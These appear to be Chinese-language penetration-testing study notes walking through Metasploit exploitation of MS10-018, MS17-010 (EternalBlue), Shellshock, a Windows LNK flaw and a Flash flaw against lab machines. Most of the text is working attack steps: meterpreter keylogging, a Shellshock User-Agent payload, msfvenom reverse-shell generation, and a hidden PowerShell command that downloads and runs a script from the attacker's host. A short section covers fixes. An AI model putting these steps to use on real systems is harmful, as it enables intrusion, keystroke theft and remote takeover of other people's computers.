img_20230726_161256.png

net user / 查看用户
net user xxx3 123 /add //添加用户 密码123
net user /
查看用户
netstat -ano // 进程信息

使用键盘记录

meterpreter 中
使用 ps 查看进程

ps
migrate 1392 \\使用ps找到合适的进程(如记事本进程)进行迁移,迁移到有管理员权限的进程

使用 keyscan_start 开启键盘记录;

meterpreter > keyscan_start
Starting the keystroke sniffer ...

在XP系统中任意输入字符,使用 keyscan_dump 进行查看( keyscan_stop 关闭键盘记录)

MS10-018漏洞

漏洞简介

MS10-018是IE浏览器上的漏洞,主要危害Internet Explorer 6~7,攻击者可以通过该漏洞获取受害主机的控制权。详细信息

漏洞利用

开启防火墙

msfconsole
search ms10_018
use exploit/windows/browser/ms10_018_ie_behaviors

options //查看配置
# srvhost 表示反弹地

set srvhost 192.168.0.110 //设置web服务ip,这里是Kali的地址
set uripath xxx //设置uri路径
options //查看配置

exploit //攻击

xp机器中浏览器访问对应的URL http://192.168.0.110:8080/xxx ;访问之后会闪退

msf会接收到session

查看session
sessions -l

使用session
sessions -i 3 // 3 为对应id,进入 meterpreter

由被攻击机器向攻击机器建立的通道,所以开启防火墙也没用。

思考:如何利用该漏洞?

MS17-010漏洞

漏洞简介

永恒之蓝漏洞(MS17-010),它的爆发源于 WannaCry 勒索病毒的诞生,该病毒是不法分子利用NSA(National Security Agency,美国国家安全局)泄露的漏洞 “EternalBlue”(永恒之蓝)进行改造而成。该漏洞可以通过TCP的139和445端口,攻击Windows系统的SMB服务,造成远程代码执行。

MS17-010漏洞主要是针对于Windows7及以前的操作系统。

勒索病毒文章:https://www.h3c.com/cn/d_202307/1895269_473262_0.htm

漏洞利用

Win7系统中的MS17-010利用条件:

  • 防火墙必须允许SMB流量出入
    • 关闭 win7 防火墙
      • 控制面板 –> 系统和安全 –> windows 防火墙 –> 打开或关闭 windows 防火墙
  • 目标必须使用SMBv1协议 √
    • win7 默认满足
  • 目标必须缺少MS17-010补丁 √
    • win7 默认满足
  • 目标必须允许匿名 IPC $和管道名
    • 打开 win7 开启主策略: Ctrl + r 运行 pgedit.msc
    • Windows 设置 –> 安全设置 –> 本地策略 –> 安全选项 –> 网络访问:限制对命名管道和共享的匿名访问 开启改为已禁用
    • 重启机器
msfconsole //进入 msf
search ms17-010 //查找ms17-010漏洞利用模块
use exploit/windows/smb/ms17_010_psexec //使用攻击模块
set RHOSTS 192.168.0.102 //设置攻击IP

exploit //攻击
shell //进入Windows cmd

扩展内容

MS17-010的五个漏洞利用模块:

0 exploit/windows/smb/ms17_010_eternalblue
1 exploit/windows/smb/ms17_010_psexec
2 auxiliary/admin/smb/ms17_010_command
3 auxiliary/scanner/smb/smb_ms17_010(扫描目标系统有没有漏洞,不进行利用获取)
4 exploit/windows/smb/smb_doublepulsar_rce(SMB后门,不用关注)

攻击效果:
0 模块:拿到了 meterpreter 命令行权限
1 模块:拿到了 meterpreter 命令行权限
2 模块:不能拿到了 meterpreter 命令行权限,需要在攻击之前设置好想要执行的命令
3 模块:仅作扫描,不会进行漏洞利用

利用条件:0模块不需要开启共享就能直接打,1、2则需要开启共享之后才能攻击成功。
返回结果:0、1都能反弹shell进行命令控制,2只能返回命令执行的结果。
总结下来,各个模块的攻击利用条件如下:

漏洞模块 防火墙必须允许SMB流量出入 目标必须使用SMBv1协议 目标必须缺少MS17-010补丁 目标必须允许匿名IPC $和管道名
0 exploit/windows/smb/ms17_010_eternalblue  
1 exploit/windows/smb/ms17_010_psexec
2 auxiliary/admin/smb/ms17_010_command
3 auxiliary/scanner/smb/smb_ms17_010  
MS17-010漏洞修复
  • 治本
  • 治标不治本
    • 关端口。取决于业务是否用这个端口
    • 外围防护-部署安全软件
    • 白名单
      • 通过 win7 自带防火墙配置

Bash Shellshock CVE-2014-6271(破壳)

漏洞简介

Shellshock的原理是利用了Bash在导入环境变量函数时所触发的漏洞,启动Bash的时候,它不但会导入函数,而且也会把函数后面的命令一并执行。在有些CGI脚本的设计中,数据是通过环境变量来传递的,这就给了数据提供者利用Shellshock漏洞的机会。

简单来说就是由于服务器的CGI脚本调用了bash命令,由于bash版本过低,攻击者把有害数据写入环境变量,传到服务器端,触发服务器运行Bash脚本,完成攻击。

漏洞原理

该 Bash 使用的环境变量通过函数名称来调用,导致漏洞的问题点是以 (){ 开头定义的环境变量在命令ENV 中解析成函数后, Bash 执行并未退出,而是继续解析并执行shell命令。

漏洞利用

环境搭建

docker下直接search该漏洞镜像

docker search CVE-2014-6271
docker run -d -p 8080:80 vulnerables/cve-2014-6271
docker ps //查看容器是否启动

看到容器启动成功之后,访问 your_ip:8080 看到环境服务启动

img_20230726_163359.png
漏洞攻击

使用Hackbar发送http请求,将payload附在User-Agent中执行,随后访问/cgi-bin/vulnerable:

User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /usr/bin/id
img_20230726_163527.png

漏洞解析

1)设置环境变量,以 `() {` 开头;
2)启动子shell;
3)子shell会继承父进程的环境变量,并且当环境变量是以 `() {` 开头的,会当函数执行。
使用msf进行利用

使用 msfconsole 进入 msf 终端

search shellshock \\查找 shellshock 漏洞利用模块
use exploit/multi/http/apache_mod_cgi_bash_env_exec \\使用漏洞利用模块

options 查看设置参数

set payload linux/x86/meterpreter/reverse_tcp // 设置漏洞利用payload,对应操作系统版本
set RHOSTS your_ip // 设置远程服务地址
set rport 80 // 设置远程服务端口
set TARGETURI /victim.cgi // 设置目标URI 或者 /cgi-bin/vulnerable
set target 1 // 设置为对应被攻击机器系统
check // 查看是否存在漏洞

exploit // 攻击
img_20230726_163907.png

不一定都成功,主机漏洞不稳定性,多尝试,所有 payload 都尝试一下。

远程命令执行漏洞 CVE-2017-8464(震网三代)

漏洞描述

2017年6月13日,微软官方发布编号为CVE-2017-8464的漏洞公告,官方介绍Windows系统在解析快捷方式时存在远程执行任意代码的高危漏洞,黑客可以通过U盘、网络共享等途径触发漏洞,完全控制用户系统,安全风险高危。

Windows系统使用二进制解析.LNK文件,当恶意二进制代码被系统识别执行时即可实现远程代码执行,由于是在explorer.exe进程中运行,所以 load 进内存时与当前用户具有相同权限。

攻击者利用这一解析过程将包含恶意二进制的代码被附带进可移动驱动器(或远程共享过程中),受害者使用powershell解析 .LNK 文件后即被黑客所控制。

成功利用此漏洞的攻击者可能会获得与本地用户相同的用户权限。

影响版本

cpe:2.3⭕️microsoft:windows_10:-:*:*:*:*:*:*:* Show Matching CPE(s)
cpe:2.3⭕️microsoft:windows_10:1511:*:*:*:*:*:*:* Show Matching CPE(s)
cpe:2.3⭕️microsoft:windows_10:1607:*:*:*:*:*:*:* Show Matching CPE(s)
cpe:2.3⭕️microsoft:windows_10:1703:*:*:*:*:*:*:* Show Matching CPE(s)
cpe:2.3⭕️microsoft:windows_7:-:sp1:*:*:*:*:*:* Show Matching CPE(s)
cpe:2.3⭕️microsoft:windows_8.1:-:*:*:*:*:*:*:* Show Matching CPE(s)
cpe:2.3⭕️microsoft:windows_rt_8.1:-:*:*:*:*:*:*:* Show Matching CPE(s)
cpe:2.3⭕️microsoft:windows_server_2008:-:sp2:*:*:*:*:*:* Show Matching CPE(s)
cpe:2.3⭕️microsoft:windows_server_2008:r2:sp1:*:*:*:*:itanium:* Show Matching CPE(s)
cpe:2.3⭕️microsoft:windows server 2008:r2:sp1:*:*:*:*:x64:* Show Matching CPE(s)
cpe:2.3⭕️microsoft:windows_10:-:*:*:*:*:*:*:* Show Matching CPE(s)
cpe:2.3⭕️microsoft:windows_server_2012:-:*:*:*:*:*:*:* Show Matching CPE(s)
cpe:2.3⭕️microsoft:windows_server_2012:r2:*:*:*:*:*:*:* Show Matching CPE(s)
cpe:2.3⭕️microsoft:windows_server_2016:-:*:*:*:*:*:*:* Show Matching CPE(s)

漏洞利用

1.在kali下使用 msfvenom 生成一个反弹shell

msfvenom 是 msfpayload 和 msfencoder 的组合

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.111 lport=4444 -f psh-reflection > ~/xxx.ps1
# lhost 为 kali 地址

2.将生成的xxx.ps1拷贝到/var/www/html目录下

cp ~/xxx.ps1 /var/www/html/

3.在kali中启动Apache服务

service apache2 start //默认80端口

4.在win7系统中查看服务是否启动

img_20230726_164322.png

5.访问web下的xxx.ps1

6.在靶机上创建一个快捷方式,并输入:

输入对象的位置处填写

powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.111/xxx.ps1');test.ps1"

7.kali下创建监听反弹shell

msfconsole
use exploit/multi/handler //侦听模块
set payload windows/x64/meterpreter/reverse_tcp # payload 和 制作木马时一致
set LHOST 192.168.0.111
show options

8.kali上使用 exploit 开启监听

exploit

9.windows上运行创建的powershell快捷方式
快捷方式中的test.ps1,让powershell去执行test.ps1,但是test.ps1并不存在,所以没有实际意义。

10.kali上接收到反弹shell

img_20230726_164651.png

Flash漏洞 CVE-2018-4878

漏洞简介

2018年2月1号,Adobe官方发布安全通报(APSA18-01),声明Adobe Flash 28.0.0.137及其之前的版本,存在高危漏洞(CVE-2018-4878)。

攻击者通过构造特殊的Flash链接,当用户用浏览器/邮件/Office访问此Flash链接时,会被“远程代码执行”,并且直接被getshell。

参考链接:https://blog.51cto.com/chenxinjie/2093653

影响版本

img_20230726_164737.png

漏洞利用

漏洞环境
  • Kali Linux + Windows 7 sp1
  • 攻击机:Kali Linux
  • 靶机:Windows 7 sp1
  • exp漏洞利用脚本:cve-2018-4878.py

    wget https://raw.githubusercontent.com/backlion/demo/master/CVE-2018-4878.rar
    
  • flash安装程序:flashplayer_activex_28.0.0.137.exe
攻击流程

1.在kali中使用 msfvenom 生成漏洞利用代码

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.111 lport=4445 -f python>xxx_shellcode.txt

2.查看生成的文件

cat ~/xxx_shellcode.txt
# shellcode 编码特征:\x2位16进制文件

3.修改 CVE-2018-4878-master 文件夹中的 cve-2018-4878.py 文件

stageless = False

把shellcode内容换成刚生成的

4.修改cve-2018-4878.py文件中的文件生成路径为自己的路径

f = open("/root/Desktop/CVE-2018-4878-master/%s" % swf, "wb")
f.write(data)
f.close()

f = open("/root/Desktop/CVE-2018-4878-master/index2.html", "wb")
f.write(html)
f.close()

5.运行python脚本,生成2个程序exploit.swf index2.html,注意使用 python2 版本

python2 cve-2018-4878.py

6.开启Apache服务,并将生成的两个文件拷贝到apache服务目录下

service apache2 start
sudo cp /home/xxx/Desktop/* /var/www/html //(即exploit.swf和index2.html)

7.在kali上开启监听

msfconsole use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
# 注意地址和端口要和使用msfvenom命令生成shellcode时所用到的地址和端口保持一致
set lhost 192.168.0.111
set lport 4445

exploit # 开启监听

8.Win7系统安装flash插件
9.使用IE浏览器访问kali中我们生成好的 index2.html 页面

http://192.168.0.111/index2.html

10.kaili中获得win7机器权限

exploit

MSF攻击流程总结

img_20230726_165225.png
  • 输入 msfconsole进入终端
  • search 命令查找对应漏洞利用模块
  • use 命令使用查找出来的漏洞利用模块
  • set 命令设置攻击参数
  • exploit/run 命令启动攻击
  • Getshell